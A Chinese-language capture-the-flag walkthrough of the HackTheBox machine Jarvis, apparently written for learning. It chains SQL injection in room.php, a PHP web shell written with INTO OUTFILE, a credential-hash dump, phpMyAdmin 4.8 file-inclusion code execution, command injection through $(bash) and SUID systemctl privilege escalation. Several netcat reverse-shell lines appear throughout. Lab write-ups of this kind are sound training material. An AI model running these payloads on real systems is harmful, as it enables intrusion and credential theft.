挺有意思的一台机器,有挺多种方式拿 low priv shell。

攻击机:官方Kali linux 2019 64位
作者:Ikonw

靶机介绍

a

一,端口扫描

只有HTTP 比较有兴趣,title 是 Stark Hotel

Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-22 11:48 +08
Nmap scan report for jarvis.htb (10.10.10.143)
Host is up (0.33s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
123456789101112131415161718

二,HTTP Enumeration

第一个习惯就是先把gobuster 上起来

gobuster dir -w directory-list-2.3-medium.txt -u 10.10.10.143 -t 50
1

a
发现有 phpmyadmin
经过一番尝试,default 账号和密码都无效。暂时先跳过。

继续浏览 stark hotel(钢铁侠爱好者,stark 和 jarvis)

在网页上发现几处可疑的域名

supersecurehotel.htb
logger.htb

a
尝试着加进去 /etc/hosts

10.10.10.143 jarvis.htb supersecurehotel@logger.htb supersecurehotel.htb logger.htb
1

然后分别用 jarvis.htb, supersecurehotel.htb, logger.htb 等域名进行访问。 结果还是跟之前一样的 并没有什么区别。我们接着探索。

一顿胡乱点击后 发现 room.php 有可疑
a
尝试加个双引号引号

http://10.10.10.143/room.php?cod=1"
1

果然报错了
a
下一步 我们可以利用 ORDER BY 或者 UNION SELECT来找出查询语句有几个字段。

ORDER BY

首先使用orderby子句来确定SQL语句查询的字段数量。orderby子句会根据sql查询结果的字段来排序,如果字段不存在则会报错。

可以先从10 开始试

http://10.10.10.143/room.php?cod=1 ORDER BY 10
1

页面显示反常,代表没有10个字段, 一个一个慢慢下试
a
试到第7的时候 页面正常返回

http://10.10.10.143/room.php?cod=1 ORDER BY 7
1

确认了 有7个字段
紧接着 我们能使用 UNION SELECT来确定回显位

http://10.10.10.143/room.php?cod=999 UNION SELECT 1,2,3,4,5,6,7
1

可以确定 1 应该是ID,所以没有显示。
2 是 评分等级
3 是 价钱
4 是 介绍
5 是 图片
6 和 7 是未知。 当然这些都不重要 重要的是 回显位我们能看到。

a
可以利用mysql的一些函数来获取更多信息。 比如database()
数据库的名字叫hotel

http://10.10.10.143/room.php?cod=999 UNION SELECT 1,2,database(),4,5,6,7
1

a

三,拿shell

我们有两种方式来拿到 www-data。

一种为利用mysql读写的方式注入php执行nc

SELECT ... INTO OUTFILE 'file_name'
1
http://10.10.10.143/room.php?cod=999 UNION SELECT 1,2,'<?php system("nc -e /bin/bash 10.10.14.10 1234");?>',4,5,6,7 INTO OUTFILE '/var/www/html/malicious.php'
1

然后我们访问 10.10.10.143/malicious.php
成功拿到 shell
a


第二种方式是通过 mysql函数导出 数据库的用户名和密码 登陆phpmyadmin.

使用 group_concat 可以把 同一个分组中的值连接起来,返回一个字符串结果 利用 “:” 来隔离分开

room.php?cod=999 union select 1,2,(select group_concat(user,":",password,":",host) from mysql.user),4,5,6,7
1

我们成功取得 数据库的账号和密码哈希值

Dbadmin:2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
a
利用 crackstation.net 来进行破解哈希值
img
得到密码 imissyou

找回之前的 phpmyadmin 登陆后发现
Apache/2.4.25
phpmyadmin 4.8.0
a
文章发表的时候 phpmyadmin 最新的版本为 5.0.1
一番searchsploit后发现 4.8.0和4.8.1 版本有远程执行文件包含漏洞

phpmyadmin 4.8 文件包含漏洞传送门

首先 运行sql命令

select '<?php system("nc -e /bin/bash 10.10.14.12 1234");?>'
1

a
拿到session的数值
a
然后进行访问

10.10.10.143/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_b6uigkomnmk4oaa91ckc4chk4nfahaqi
1

a
成功!

四,提高用户权限

第一件事情就是试试 sudo -l 有没有任何可以利用的权限。

Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py

1234567

这是一个小型的警报器
a
仔细看了源代码,有一个地方可以使用命令注入,虽然做了点黑名单来过滤。 但是由于 $ 还能使用。 我们可以用类似 $(cmd) 的操作。

a

sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
Enter an IP: $(bash)
12

我们成功拿到pepper的shell
这里不懂出于什么原因 我各种命令全部都没响应。于是我用nc 重新生成了一个shell
a

pepper@jarvis:/$nc -e /bin/bash 10.10.14.10 1234
nc -e /bin/bash 10.10.14.10 1234

123

于是我们成功拿到pepper 的权限
a

五,ROOT提权

首先我们来查看SUID files

find / -perm -4000 2>/dev/null
1

a发现 systemctl 比较可疑。
通过 gtfobins 发现存在SUID 来进行提权的方法。
a
一般看到这种我都比较喜欢手动操作。
创建一个 pwn.service 在 pepper 的主目录里 并且把 ExecStart 指向 nc.sh

[Service]
Type=oneshot
ExecStart=/home/pepper/nc.sh
[Install]
WantedBy=multi-user.target

123456
#!/bin/bash
nc -e /bin/bash 10.10.14.10 1234

123

然后我们要创建一个 symlink 起来

systemctl link /home/pepper/pwn.service
1

打开 nc 接听
a

然后启动我们的pwn服务

systemctl start pwn
1

我们成功拿到root
a




root